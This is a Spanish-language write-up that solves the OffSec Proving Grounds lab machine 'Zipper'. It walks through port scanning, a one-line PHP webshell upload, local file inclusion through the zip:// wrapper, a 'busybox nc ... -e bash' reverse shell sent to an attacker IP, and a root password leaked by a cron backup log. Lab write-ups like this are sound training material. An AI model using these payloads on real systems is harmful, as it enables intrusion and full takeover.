Zipper

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Intermediate | - | OffSec |
Introducción
¡Hola Hacker! En post, estaremos resolviendo la máquina Zipper de la plataforma Proving Grounds Practice.
Para ganar acceso a la máquina víctima, comenzamos abusando de una subida de archivos presente en la web, explotando a su vez una vulnerabilidad de LFI (Local File Inclusion) y jugando con el wrapper de php zip://
para obtener ejecución remota de comandos. Por ultimo, para escalar privilegios aprovechamos una mala configuración de una tarea cron.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sS -p- --open --min-rate 5000 -Pn -n -oG openPorts 192.168.234.229 -vvv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 14:39 -03
Initiating SYN Stealth Scan at 14:39
Scanning 192.168.234.229 [65535 ports]
Discovered open port 80/tcp on 192.168.234.229
Discovered open port 22/tcp on 192.168.234.229
Completed SYN Stealth Scan at 14:40, 18.59s elapsed (65535 total ports)
Nmap scan report for 192.168.234.229
Host is up, received user-set (0.22s latency).
Scanned at 2025-10-05 14:39:47 -03 for 18s
Not shown: 62156 closed tcp ports (reset), 3377 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds
Raw packets sent: 91038 (4.006MB) | Rcvd: 68282 (2.731MB)
nmap -sCV -p22,80 -oN servicesScan 192.168.234.229
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 14:40 -03
Nmap scan report for 192.168.234.229 (192.168.234.229)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Zipper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
Explotación inicial
Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con lo siguiente:
Como podemos observar, contamos con un formulario para subir uno o más archivos los cuales serán comprimidos en un archivo ZIP el cual luego podremos descargar.
Antes de intentar subir archivos, realicemos un poco de fuzzing.
Encontramos algunos ficheros PHP interesantes.
También, podemos observar que los archivos como home.php
se cargan a través de un parámetro pasado por GET
al archivo index.php
.
Subimos un archivo shell.php
<?php system($_GET["cmd"]); ?>
Vemos que al subir el archivo, se genera un archivo zip y nos comparten el enlace para descargarlo.
wget 192.168.234.229/uploads/upload_1759686831.zip
Descargamos el zip.
Si listamos el contenido del archivo zip, podemos observar que contiene nuestro shell.php.
zip://
El wrapper zip nos permite ejecutar un php que hayamos metido dentro de un archivo zip.
Payload:
- zip://file zip%file php
Es importante desctacar que en este caso "%23"
es el caracter "#"
(hash).
En archivo zip, si no se encontrase en el directorio actual, se le especificaría el directorio donde se encontrase el archivo y listo.
En caso de que el archivo PHP fuese una webshell o esperase algún parámetro, se le agregaría con un ampersand & como haremos en nuestro caso:
PoC
Para este caso en particular, lo que haremos será pasar en primer lugar el parámetro cmd
y luego el parámetro file
, ya que a cada valor que pasemos en file se agrega como extensión de archivo .php
.
http://192.168.234.229/index.php?cmd=id&file=zip://./uploads/upload_1759686831.zip%23shell
Lanzamos una reverse shell.
Nos ponemos en escucha con netcat por el puerto 4444.
nc -lnvp 4444
http://192.168.234.229/index.php?cmd=busybox%20nc%20192.168.45.216%204444%20-e%20bash&file=zip://./uploads/upload_1759686831.zip%23shell
De esta forma, ganamos acceso a la máquina víctima como el usuario www-data
.
Leemos el flag de local.txt
Escalación de privilegios
Realizamos una enumeración básica del sistema y no logramos econtrar nada de lo cual podamos abusar para escalar privilegios. Por lo tanto, subimos el binario de pspy64 para enumerar tareas cron que se esten ejecutando.
Podemos observar que ese esta ejecutando una tarea programada como el usuario root
, la cual crea un archivo backup.zip
de todos los archivos que son creados mediante la aplicación web.
Si miramos el código del script que se esta ejecutando, nos encontramos con lo siguiente:
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
Vemos que la ejecución de la linea 7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
se guarda en el fichero /opt/backups/backup.log
.
Si miramos dentro de dicho archivo, encontramos la contraseña utilizada para generar el zip la cual corresponde con la contraseña de root.
De esta forma, logramos escalar privilegios.
De esta manera, concluimos la resolución de la máquina Zipper.
¡Gracias por leer!
¡Happy Hacking!